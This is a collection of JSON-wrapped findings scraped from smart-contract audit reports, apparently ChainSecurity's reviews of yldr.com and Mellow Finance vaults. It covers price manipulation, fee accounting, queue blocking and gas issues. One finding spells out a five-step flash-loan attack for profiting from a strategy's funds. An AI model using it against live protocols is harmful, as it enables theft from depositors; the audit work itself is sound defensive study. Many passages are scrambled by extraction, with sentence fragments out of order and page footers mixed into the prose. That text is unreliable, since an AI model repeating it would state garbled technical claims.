"https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.2 Price Manipulation", "body": " CS-APYF-026 yldr.com - yldr.com - 17 DesignCriticalVersion1CodeCorrected \fConcentrated liquidity strategies must be able to compute the price and value of their liquidity position for price range adaptation and accounting purposes. However, current price computations only use manipulable pool data, which can consequently not be relied on to provide real market price and value. Such manipulation leads to critical issues: ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.2.1 Manipulate the price range rebalance process:", "body": " The concentrated liquidity strategies should automatically adapt their price range when the current pool price function readdLiquidity(), which heavily depends on the current pool tick. The pool tick is heavily manipulable and could be used by an attacker to make the strategy provide liquidity at a manipulated price. the currently set range. This process happens is above or under the in function readdLiquidity() public virtual { ... (int24 currentTick, ) = _getPoolData(); int24 tickLowerToRebalance = data.tickLower + ticksUntilRebalance; int24 tickUpperToRebalance = data.tickUpper - ticksUntilRebalance; bool isInRebalanceRange = (tickLowerToRebalance > currentTick) || (tickUpperToRebalance < currentTick); ... require( isInRebalanceRange || (pricePerTokenAfter >= (lastPricePerToken * 1001) / 1000) ); An example attack flow on a USDC-WETH pool strategy: 1. Borrow a lot of ETH in a flash loan 2. Sell all ETH in the strategy's pool: Price and tick are now manipulated, price of ETH related to USDC is much lower than the real market price 3. Call readdLiquidity() on the strategy: The current tick is now in the rebalance range, and the function executes and moves liquidity around the current tick 4. Buy back ETH in the pool with every USDC received from step 2: Liquidity moved in step 3 is now at a very advantageous price for the attacker, who makes a profit out of the strategy's funds. 5. Repeat Note that this attack depends on the strategy's liquidity size, as well as the pool's size and the fees. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.2.2 Manipulate the strategy's exchange rate:", "body": " The shares exchange rate depends on the totalAssets() function that computes the total value of the strategy's funds. function totalAssets() public view override returns (uint256) { ... (uint256 amount0, uint256 amount1) = LiquidityAmounts .getAmountsForLiquidity( sqrtPriceX96, sqrtPriceAX96, sqrtPriceBX96, _getPositionData().liquidity ); uint256 valueInUSD; valueInUSD += pricesOracle.convertToUSD(token0(), amount0); valueInUSD += pricesOracle.convertToUSD(token1(), amount1); yldr.com - yldr.com - 18 \fHere, amount0 and amount1 will depend on sqrtPriceX96, which is the current price of the pool. These amounts will then be converted to their real current market value in USD (which may not be close to the pool price). Note that at any point in time, some assets might be idling in the smart contract. This issue could lead to multiple consequences: An attacker could potentially lower the price of the liquidity position and deposit assets that will be overvalued proportionally to the liquidity position, resulting in some extra shares being minted to the attacker. Inflating the value of the strategy shares if they are used in an external protocol (for example as collateral). Front-running a user deposit/redeem could become profitable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.2.3 Forced slippage:", "body": " readdLiquidity() is allowed to execute only if either the price of the pool is out of the current liquidity range or if the price per token after execution has increased. However, being able to manipulate the price of the liquidity pool makes it possible to execute the function on request. An attacker could use this ability to force the pool to lose value in fees and slippage because of swaps happening during execution. Note that this list of potential consequences isn't exhaustive as most function that rely on totalAssets() are vulnerable. BaseConcentratedLiquidityStrategy.checkDeviation() been The modifier implemented. The modifier checks whether the allowedPoolOracleDeviation from the price reported by an external oracle. If this condition is not true the execution reverts. This means that users are unable to redeem and withdraw their assets during this period of time. Moreover, deposits iniated from the Master vault will be blocked for this period. the price of a pool deviates more than has ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.3 A Deposit Could Be Stuck Because of", "body": " Slippage In MasterCrossLedgerVault, processing a deposit operation in the queue starts by swapping the deposited asset with the main asset of the vault. To swap in between assets, the vault uses an AssetConverter, which checks that the slippage does not exceed a fixed value. CS-APYF-014 function _startDeposit( ... ) internal { uint256 mainAssetValue = assetConverter.safeSwap( params.asset, address(mainAsset), params.value ); yldr.com - yldr.com - 19 DesignHighVersion1CodeCorrected \f ... } However, in the case of a big deposit where the deposited asset is not the same as the main asset, swapping could be impossible without causing a greater slippage than the maximum expected one. In this case, the vault operations would be stuck and could not continue to process normally until the slippage is changed in the asset converter. The swap is now executed before the operation is queued. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.4 Fees Are Not Properly Harvested", "body": " CS-APYF-018 be The ApyFlow smart contract has a feeInPpm used to compute a fee applied over all vault profit and that calling will recomputePricePerTokenAndHarvestFee(), which computes the revenue across all vaults, and applies the fee by minting a proportional share amount. the feeTreasury. These harvested sent fees can be by to Let's take a look at how it works internally: function recomputePricePerTokenAndHarvestFee() public { uint256 _totalAssets = totalAssets(); uint256 _totalSupply = totalSupply(); uint256 newPricePerToken = pricePerToken(); if (newPricePerToken > lastPricePerToken) { ... // Fee shares computation _mint(feeTreasury, shares); lastPricePerToken = newPricePerToken; emit FeeHarvested(fee, block.timestamp); } } lastPricePerToken is used to know whether or not the price per token increased since the last time fees were minted. Note that after minting the fees, the last price per token is updated to newPricePerToken, which was computed before fees were minted. However, because of the new shares, the pricePerToken just decreased which isn't accounted for when assigning lastPricePerToken. lastPricePerToken is now greater than pricePerToken, meaning that no fees will be applied until the price per token reaches again the lastPricePerToken. lastPricePerToken is now updated with the most recent value of pricePerToken() which includes the harvested fees. yldr.com - yldr.com - 20 CorrectnessHighVersion1CodeCorrected \f6.5 Missing Calculation BaseHedgedConcentratedLiquidityStrategy._readdLiquidity() calculates the amount to be withdrawn from Aave which is stored in amountToWithdraw. However, this variable is only declared but not assigned, which initializes it to zero. CS-APYF-023 The missing computation was added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.6 Aave.ltv Cannot Be Updated", "body": " When HedgedBaseConcentratedLiquidityStrategy is initialized, the AaveLibrary.Data is set which stores the aimed ltv of the Aave position. ltv can never be updated. This can be problematic. The ltv on Aave can be different or change during the lifetime of the strategy. This means that the tvl on the strategy can be greater than the actual tvl on Aave. When the strategy tries to borrow from Aave, the transaction will revert as the strategy will request more to borrow. This limitation of the strategy can prevent deposits and redemptions in the whole system as for a system-wide operation to succeed all the operation in all vaults should succeed. Another important point is that in AaveV3, if tvl is 0 for a specific collateral this collateral cannot be withdrawn. CS-APYF-025 function HedgedBaseConcentratedLiquidityStrategy.updateAaveLTV() has been The added. The owner of the smart contract can now set a new ltv value. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.7 Underflow in Deposit Blocks the System", "body": " A user can submit a 0 deposit which can be added to the queue. This will eventually execute _depositLocal for assets == 0 which eventually calls _decreaseOpIdToActionsCount which decreases opIdToActionsCount which is 0. This means that the operation will revert. Note that the owners at this point cannot call setNewNextOperation as the queue is busy. CS-APYF-017 The opIdToActionsCount is now incremented before the rest of the deposit logic, which fixes the underflow case. yldr.com - yldr.com - 21 CorrectnessHighVersion1CodeCorrectedDesignHighVersion1CodeCorrectedDesignMediumVersion2CodeCorrected \f6.8 Zero Redemption Blocks the System A user can create a request to redeem 0 shares from MasterCrossLedgerVault which will be successfully added to the queue. Such a request can be fully processed up until _completeRedeem which will calculate the pricePerToken. However, this calculation will revert blocking the completion of the operation since 0 shares are in the denominator. Note that the owners at this point cannot call setNewNextOperation as the queue is busy. Please note that the pricePerToken cannot be removed as the following issue will be enabled: CS-APYF-010 Assume a system with one slave chain with a score higher than the master chain. A user deposits a very small amount such that the deposited amount for the master chain is zero and non-zero for the slave chain. opIdToActionsCount[opId] is increased once for the operation on the slave chain depositLocal() is then executed and since assets is 0 for the local chain _finalizeCurrentAction() is called. Then, _decreaseOpIdToActionsCount() is called which sets opIdToActionsCount[opId] to 0 which successfully calls _completeOperation(). operationsQueue.currentOperation is set to 0 which allows the next operation to be executed. Zero shares redemption is not allowed anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.9 Dust in Deposits", "body": " In MasterCrossLedgerVault and ApyFlow, deposited assets are split based on a portfolio score. However, it could be that there are some dust amounts left in these smart contracts due to rounding errors. MasterCrossLedgerVault's dust would be unrecoverable for the user. ApyFlow's dust is accounted as a donation to the current shareholders. The last deposited amount (local deposit) could be calculated as the remaining available amount and thus dust would be avoided. CS-APYF-016 MasterCrossLedgerVault now correctly handles deposit dust by minting the appropriate shares amount and a new dustAmount variable has been introduced to keep track of the current dust and split it accordingly on redeems. ApyFlow now also correctly takes dust into account. yldr.com - yldr.com - 22 DesignMediumVersion2CodeCorrectedDesignMediumVersion1CodeCorrected \f6.10 Idling Assets Unused in readdLiquidity() CS-APYF-024 in and Both BaseHedgedConcentratedLiquidityStrategy invested when readdLiquidity is called even though they are accounted in totalAssets(). This results in the strategy giving up on some yield. BaseConcentratedLiquidityStratey idle assets are not the In BaseConcentratedLiquidityStrategy._readdLiquidity(), only assets accounted for in _redeem() will be deposited back. However, some idling assets might be present in the strategy and will stay idling even after the exection of readdLiquidity(). BaseHedgedConcentratedLiquidityStrategy._readdLiquidity() all concentrated liquidity and adapts its debt and collateral to approach the target ltv. To compute the amount of assets that are available in the vaults, the function calls _totalAssets(), which computes the total value in the Aave position, and then accounts for the token balances of the concentrated liquidity pool. However, note that it is possible that the main vault asset isn't equal to either token of the liquidity pool. In this case, idling assets present in the vault are not accounted for, which will lead to a smaller Aave position than expected after execution. redeems During _readdLiquidity() the total balance of asset held by the contract (not just the amount redeemed) is used in the new deposit. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.11 Leftovers Are Not Handled", "body": " The execution of BaseHedgedConcentratedLiquidityStrategy._readdLiquidity() can leave the contract with some extra token0 and token1 idling in the smart contract. This happens because swaps of tokens can return a greater amount of assets than what is needed. The assets which are not of type asset will not be accounted for in totalAssets(). This could potentially reduce the value of the vault's shares until the next _harvest() function execution, which will swap them back to asset. CS-APYF-013 The leftovers are converted to the underlying asset at the end of the execution. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.12 Queue Processing Is Slow", "body": " MasterCrossLedgerVault's operation queue is very slow to process, as each operation must pass messages across multiple chains. Waiting time for an operation to execute could be days or even weeks depending on usage. CS-APYF-021 yldr.com - yldr.com - 23 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fEven with a reasonably big minimumOperationValue, a wealthy malicious user could also easily increase processing time by days, or even weeks. MasterCrossLedgerVault.setNewNextOperation() was introduced. The owner of the contract can arbitrarily set the next operation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.13 Redemption of Small Amounts Is Impossible", "body": " In MasterCrossLedgerVault, a deposit or a redemption is accepted only if the amount is greater than the minimumOperationValue: CS-APYF-011 require( shares / 10 ** decimals() >= minimumOperationValue, \"Redeem value is lower than minimum\" ); However, users might be willing to partially redeem their position. In some cases it could leave them with an amount of shares that is smaller than the minimumOperationValue, making it impossible to redeem the rest of the funds unless they deposit again to reach the minimum operation value. The minimumOperationValue was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.14 SlaveCrossLedgerVault With a Zero Portfolio", "body": " Score The _startDeposit() function in the MasterCrossLedgerVault iterates over each chain and deposits an amount proportional to their associated portfolio score returned by the oracle. In the case where either a chain has a score of zero or the amount destinated to this chain rounds down to zero, the loop continues to iterate and ignores this chain: CS-APYF-029 for (uint256 i = 0; i < chains.length(); i++) { uint256 chainId = chains.at(i); uint256 score = oracle.portfolioScore(chainId); uint256 amountToSend = (mainAssetValue * score) / totalScore; **if (amountToSend == 0) continue;** _deposit(opId, chainId, amountToSend, params.slippage); } Let's also recall how the amount of shares to be minted is computed in the MasterCrossLedgerVault: yldr.com - yldr.com - 24 DesignMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fuint256 totalAssetsBefore = totalAssetsBeforeDeposit[opId]; uint256 totalAssetsAfter = totalAssetsAfterDeposit[opId]; uint256 deposited = totalAssetsAfter - totalAssetsBefore; uint256 shares; if (totalSupply() == 0) { shares = totalAssetsAfter; } else { shares = (deposited * totalSupply()) / totalAssetsBefore; } For a fair computation of the shares, totalAssetsBefore should denote the full value of all assets across all chains. This is important because redeeming works a bit differently than depositing. It just iterates over all chains without taking into account the portfolio score but instead provides them with a relative proportion (shares & totalSupply), so that each SlaveCrossLedgerVault can use this proportion to compute how many assets to redeem. However, for totalAssetsBefore to be updated by a slave vault, a cross-chain deposit must have occurred, which isn't the case when amountToSend == 0. If a portfolio score of a chain has been set to zero, but some assets are still waiting to be redeemed on the slave vault, then funds would be incorrectly distributed to new master vault depositors. A new depositor would receive shares relative to the total assets of all chains except the ones with zero scores, but redeeming these shares would still withdraw funds on the zero-score chain. Version 2: yldr.com replied: We have restricted setting 0 score for chains. All chains should be removed instead of zeroing their scoring CrossLedgerOracle.updateDataBatch() is implemented to revert if a score is set to 0 for any chain of a slave vault. Version 3: Setting a score of 0 for a chain is now allowed because zero amounts are now properly handled during operations execution. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.15 Unused Function", "body": " WormholeBridgeAdapter.adjustAmount() is never used. CS-APYF-015 adjustAmount() is now used to round down the last decimals of the amount sent over the wormhole bridge. This is done as the wormhole bridge performs a similar operation. yldr.com - yldr.com - 25 CorrectnessMediumVersion1CodeCorrected \f6.16 minimumOperationValue Could Block Redeems The minimumOperationValue variable exists as a lower limit of how many assets one can deposit or redeem on MasterCrossLedgerVault. It is denominated in US dollars, and can be compared against deposited assets as long as these are stablecoins pegged to the USD and decimals are adapted. On redeems, however, minimumOperationValue is compared against a master vault shares amount, which has a varying price: CS-APYF-022 require( shares / 10 ** decimals() >= minimumOperationValue, \"Redeem value is lower than minimum\" ); Assuming that shares accrue in value over time, the minimum value that a user must have deposited to be able to redeem will also increase with time. Note that shares might also decrease in value over time. A user could deposit but isn't able to redeem afterward because one share is more valuable than one token of the deposited asset. This would lock users' funds until they deposit again to reach the minimum value. The minimumOperationValue was removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.17 Discrepancy Between Computed and Actual", "body": " Price per Token In CrossLedgerVault.processAction(), the user-specified slippage is checked against the received assets to make sure it is acceptable for this action. When redeeming, expectedAssets is computed with feeInclusivePricePerToken() of the underlying root vault, which for now doesn't contain the harvested rewards of the underlying vaults. CS-APYF-019 However, it might be the case that on redemptions, rewards are harvested, which changes the pricePerToken the redemption feeInclusivePricePertoken() will return a smaller price per token than it should have, which would allow a bigger slippage than desired. Consequently, happens. before the The expected assets are now computed after the redemption so that harvested rewards are accounted. yldr.com - yldr.com - 26 DesignMediumVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.18 Queue Could Be Stuck Because of Small-Amount Swaps In CrossLedgerVault.processAction(), the amount to deposit or redeem could be small, and lead to some rounding errors depending on the pool used to swap assets in vaults. Depending on the rounding error, the slippage might happen to always be greater than expected, which would block the queue. CS-APYF-012 The amount received is always increased by 100 wei so that low amounts cannot make the slippage check fail. Note that this means bypassing the user-defined accepted slippage for small deposits. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.19 Redundant Storage", "body": " Redundant storage is used in some places. More specifically: CS-APYF-028 CrossLedgerVault.addChain() sets lzChainIdToChainId. However, mapping is never used. CrossLedgerVault.chains variable is only of use in the MasterCrossLedgerVault, not in the slave vaults. WormholeBridgeAdapter.isRootChain variable is never used. The redundancies have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "6.20 Variables Could Be Immutable", "body": " The following variables are only set on construction and never written to afterwards. CS-APYF-020 WormholeBridgeAdapter.workerImplementation PosBridgeAdapter.isRootChain PosBridgeAdapter.asset PosBridgeAdapter.workerImplementation PosBridgeAdapter.dstChainId PosBridgeAdapter.crossLedgerVault yldr.com - yldr.com - 27 DesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f PosBridgeAdapter.rootChainManager Setting these to immutable will insert them into the bytecode at compilation time, leading to cheaper reads compared to storage. The variables are now immutable. yldr.com - yldr.com - 28 \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "7.1 Code Consistency", "body": " logic situations. The lack consistency when dealing with similar Some code areas BaseHedgedConcentratedLiquidityStrategy swaps assets from one token to another in order to supply an appropriate amount to Aave and eventually to the LP position. In multiple cases, extra care is taken so that no underflows take place. For example in _redeem() the amount to swap is bounded by the available collateralAmount: CS-APYF-003 amountToSwap = Math.min(amountToSwap, collateralAmount); While similar logic is implemented in most cases, there are cases where it's not implemented: In _readdLiquidity() the case where currentDebt > neededDebt and tokenToBorrowBalacne < amountToRepay, collateralBalance is assumed to be greater than amountToSwap. in In _readdLiquidity() in the case where currentCollateral < neededCollateral and collateralBalance < amountToSupply, tokenToBorrowBalance is assumed to be greater than amountToSwap. Enforcing code consistency when handling specific similar cases helps to secure the code flow and to make it more understandable. Adding internal functions for specific tasks could help to properly split the logic. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "7.2 Missing Natspec", "body": " Most functions are missing proper documentation and description. Natspec help the end users to interact with smart contracts as they produce messages that can be shown to the end user (the human) at the time that they will interact with the contract (i.e. sign a transaction). CS-APYF-004 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "7.3 Missing Sanity Checks", "body": " During a rebalance operation in MasterCrossLedgerVault, the REBALANCE_ROLE specifies the percentage of shares to be moved from one chain to another. This happens assuming that the total supply of shares is 1000. However, no sanity check guarantees that the shareToRebalance is CS-APYF-005 yldr.com - yldr.com - 29 InformationalVersion1InformationalVersion1InformationalVersion1 \fless than 1000. Note that the accepted slippage and both the source and destination chain id are also specified but not sanity checked, which in the worst case (slippage input error) could lead to some loss of assets. MasterCrossLedgerVault.setNewNextOperation() allows the owner to set the next operation id, however, this value isn't sanity checked and could point to an already processed operation. The beneficiery for deposits and redemptions is not checked to be non-zero. In ApyFlow.setNewFeeDestination(), the newFeeDestination is not sanitized. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "7.4 No Events for Important State Changing", "body": " Operations Some examples are: CS-APYF-006 MasterCrossLedgerVault.addToken() MasterCrossLedgerVault.removeToken() MasterCrossLedgerVault.setNewMinimumOperationValue() MasterCrossLedgerVault.setNewMinSlippageProvider() CrossLedgerVault.addChain() CrossLedgerVault.removeChain() CrossLedgerVault.updateBridgeAdapter() SuperAdminControl.call() Events indicate major state changes. Hence, it might be useful for users to listen to certain events. Note that events do increase the gas costs slightly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "7.5 Redundant Operations", "body": " There are multiple instances of redundant operations: CS-APYF-007 CrossLedgerVault.transferCompleted() reads bridgeAdapterToChainId. However, this value is never used. MasterCrossLedgerVault._startDeposit() calculates the total score by reading the respective scores of all chains. Then, to calculate the respective deposits, the scores are read again. BaseConcentratedLiquidityStrategy._redeem() calls _collect() which is guaranteed to have been called before because of the harvesting mechanism. yldr.com - yldr.com - 30 InformationalVersion1InformationalVersion1 \f7.6 Unreachable Operation CrossLedgerVault._depositLocal() handles the case where assets == 0. However, this case is unreachable. _deposit() returns if amount == 0. If the deposited amount to another chain is 0, then no deposit to that chain is actually executed. CS-APYF-008 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "7.7 Unused Variables and Function", "body": " Some variables are unused and could be removed either from the parameter list of the respective functions or the function implementation: CS-APYF-009 sentTransfers in MasterCrossledgerVault._startDeposit() SlaveCrossLedgerVault._transferCompleted()'s parameter transferId CrossLedgerVault._blockingLzReceive()'s parameter srcLzChainId Note also that the function WormholeBridgeAdapter.adjustAmount() isn't used anywhere. yldr.com - yldr.com - 31 InformationalVersion1InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.1 Asset Converters Can Always Be Frontrun", "body": " Asset converters are used all across the protocol to swap between different assets. It is important to note that at any point in time these swaps can be frontrun, and will especially be when the swapped amount is big enough. Also note that the asset converter implements a slippage check to avoid big losses. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.2 Asset Converters and Liquidity Provision", "body": " Strategy vaults such as UniswapV3 can invest assets in LP positions of some pools. As the users deposit one specific asset, part of the deposited amount should be converted into another asset. For example, a user submits USDC only and a part of it is swapped to ETH for the two assets to be deposited together to an LP position in an ETH-USDC pool. For the required swap, there's no guarantee that the same ETH-USDC pool is not going to be used. This means that swaps needed to be performed can alter the price offered by the pool where the LP position is going to be opened. Furthermore, when the swapped amounts are big, for example during rebalances (calls to readdLiquidity), the deviation of the price of the pool can be significant. As these rebalances require two steps (redeem and deposit) which both check for a potential price deviation between pools and oracles, such deviation can block the deposit step and thus block the whole rebalance process. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.3 Fees Accounting Is Based on Variable ", "body": " pricePerToken Fees accounting in ApyFlow is based on the variable pricePerToken. This variable can vary in both direction because of ApyFlow's underlying strategies. However, fees are only harvested if pricePerToken has increased since last harvesting. This mechanism makes it so that fees will only apply on the vault's total profit, but not on yields. For example, let's say both pricePerToken and lastPricePerToken are equal to 1.1. A strategy suffers a big loss, which decreases the price per token to 1. Strategies still produce some yield, which make the pricePerToken grow back to 1.05 after a few days. No fees will be applied to this 0.05 growth in the price per token. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.4 Fees Depend on the Converter", "body": " yldr.com - yldr.com - 32 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \fIn ApyFlow.redeem() fees are a portion of the assets sent to the user. However, assets are dependent on the assetConverter. Should the converter swap the assets with the maximum allowed slippage the fees earned by the system will be reduced. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.5 Gas Limitations", "body": " In the ApyFlow smart contract, each underlying vault in its vaults array is a SingleAssetVault which also contains an array of underlying vaults. In the case of a relatively high number of underlying vaults, gas costs can increase significantly even exceeding the gas limit. In that case, any deposit or redemption could block which could lead to blocking the entire system. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.6 Liquidation Consequences", "body": " In the BaseHedgedConcentratedLiquidityStrategy smart contract, a loan is taken on Aave to distribute the liquidity position risk evenly. During high price-volatility periods, a vault could therefore risk getting liquidated. A liquidation would have multiple consequences: A sudden decrease in the price per token value. A potential risk of being unable to call readdLiquidity() due to the current price per token being smaller than lastPricePerToken, if the pool price returned out of the rebalance range after liquidation. Note that yldr.com will configure hedged vaults so that the risk is very low and vaults should be monitored. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.7 Slippage on Swaps Is Expected to Be", "body": " Relatively Small With the current cross-ledger architecture, some token swaps will happen during operations through the asset converter smart contract. Note that this asset converter has a fixed slippage tolerance set and reverts if it is not respected. Consequently, slippage tolerance should be properly set so that it isn't likely to block any cross-ledger action. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "8.8 Supported Tokens", "body": " The system only supports standard ERC20 tokens without special behaviors, especially tokens with callbacks (ERC777) which would allow arbitrary code execution. More explicitly, tokens with two entry points should also be avoided. Tokens with fees or any rebasing mechanism aren't supported. yldr.com - yldr.com - 33 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f8.9 Tokens Assumption Some parts of the code implicitly assume that some assets are the same, without ever checking if it is the case or handling the case where they are different. the collateral and The hedged concentrated liquidity strategy sometimes assumes tokenToBorrow tokens must be equal to the liquidity pool tokens. It also assumes that the collateral token is the same as the main asset of the vault. that These incomplete assumptions increase the code complexity and can lead to some complex errors. yldr.com - yldr.com - 34 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yldr-com/"}, {"title": "5.1 Inconsistent Decimals of LP Token", "body": " The function ERC20RootVault.deposit performs the following checks when new LP tokens are minted to a user: require(lpAmount + balanceOf[msg.sender] <= params.tokenLimitPerAddress, ExceptionsLibrary.LIMIT_OVERFLOW); require(lpAmount + totalSupply <= params.tokenLimit, ExceptionsLibrary.LIMIT_OVERFLOW); The LP tokens distributed by root vaults do not have pre-defined number of decimals but depend on the token amounts of the first deposit, hence making difficult to set the params tokenLimitPerAddress and tokenLimit in advance. Acknowledged: Mellow Finance - Mellow Vaults - 13 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedCodePartiallyCorrectedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedCodePartiallyCorrectedAcknowledgedAcknowledgedCorrectnessLowVersion5Acknowledged \fMellow Finance acknowledges the issue and will take care to set the proper limits after initial LP shares are minted and the respective decimals are known: We don\u2019t intend to stand limits in advance of the launch of the system, we rather want to stand them as MaxUint256 initially and then have a possibility to set meaningful values based on the supply of lp tokens during the work of the system. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.2 Performance Fee in Specific Setups", "body": " The performance fee is charged in ERC20RootVault only if the price of LP tokens has increased in value, which is calculated in the statement: uint256 lpPriceD18 = FullMath.mulDiv(tvlToken0, CommonLibrary.D18, baseSupply); However, in specific setups where the token0 is of high value but has low decimals, while the token1 is of low value but with many decimals, the variable baseSupply would inherit the decimals of token1. Therefore, in such setups it is possible that the statement above returns lpPriceD18 equal to zero. Acknowledged: Mellow Finance has decided to keep the code unchanged as they only will use only verified token combinations that this issue does not occur. The response: We decided that this situation would not be possible when calculating the performance fee, since we agreed to use only verified tokens, for which the difference between decimals would be less than 18. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.3 Possible Optimization in AggregateVault", "body": " The function AggregateVault._push performs the following actions: 1. Approves allowance with safeIncreaseAllowance for each token to destVault. 2. Calls destVault.transferAndPush, which transfers tokenAmounts to the ERC20Vault. 3. Resets approval to destVault for all tokens to 0. Given that the _push function moves tokens to the ERC20Vault and allowance in the end should be 0, the function can be revised to be more efficient. For instance, safeIncreaseAllowance performs additional operations and is useful when the existing allowance is not zero and should be considered. Also, the function consumes in step 2 the allowance given earlier, hence the last for-loop might be omitted. Code partially correct: The function AggregateVault._push is made more efficient by performing the external calls safeIncreaseAllowance and safeApprove only for tokens that non-zero amounts are being Mellow Finance - Mellow Vaults - 14 DesignLowVersion5AcknowledgedDesignLowVersion5CodePartiallyCorrected \ftransferred (tokenAmounts[i] > 0). However, for the other tokens two external calls are performed for updating the allowance. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.4 Possible Optimization on Deposits and", "body": " Withdrawals The function ERC20RootVault.deposit can be optimized to be more gas efficient by transferring the tokens directly from the user to the ERC20Vault. Currently, the tokens are first transferred from the user to the root vault: for (uint256 i = 0; i < tokens.length; ++i) { ... IERC20(tokens[i]).safeTransferFrom(msg.sender, address(this), normalizedAmounts[i]); } and then, in AggregateVault._push tokens are transferred again: for (uint256 i = 0; i < _vaultTokens.length; i++) { IERC20(_vaultTokens[i]).safeIncreaseAllowance(address(destVault), tokenAmounts[i]); } Similarly, the function ERC20RootVault.withdraw can be made more efficient if the tokens are transferred directly from the sub-vaults to the user instead of transferring to the root vault first and then to the user. Acknowledged: Client acknowledges the optimization possibility but prefers to keep the code unchanged: The main idea behind this behavior is for the root vault to be responsible for pushing tokens onto different vaults. We consider the current design to be clearer with pushing with the ```AggregateVault._push``` method. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.5 Redundant Calculation of LP Amounts", "body": " The function ERC20RootVault.deposit calculates the LP amount that is rewarded to the user two times: { ... (preLpAmount, isSignificantTvl) = _getLpAmount(maxTvl, tokenAmounts, supply); for (uint256 i = 0; i < tokens.length; ++i) { normalizedAmounts[i] = _getNormalizedAmount(...); ... } } actualTokenAmounts = _push(normalizedAmounts, vaultOptions); (uint256 lpAmount, ) = _getLpAmount(maxTvl, actualTokenAmounts, supply); Mellow Finance - Mellow Vaults - 15 DesignLowVersion5AcknowledgedDesignLowVersion5Acknowledged \fInitially, preLpAmount is calculated based on the tokenAmounts, then normalizedAmounts are returned computed. Considering actualTokenAmounts is redundant. to normalizedAmounts. Hence, recomputing lpAmount that _push moves the ERC20Vault, is equal tokens the to Acknowledged: Client acknowledges the redundant calculation of LP amount but prefers to keep the code unchanged as in the future the behavior of ERC20Vault might change, i.e., the returned actualTokenAmounts might not be equal to normalizedAmounts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mellow-protocol/"}, {"title": "5.6 Broad Access Control for Functions", "body": " functions addDepositorsToAllowlist and removeDepositorsFromAllowlist in The ERC20RootVault restrict the access control with function _requireAtLeastStrategy. However, neither MStrategy nor LStrategy call these 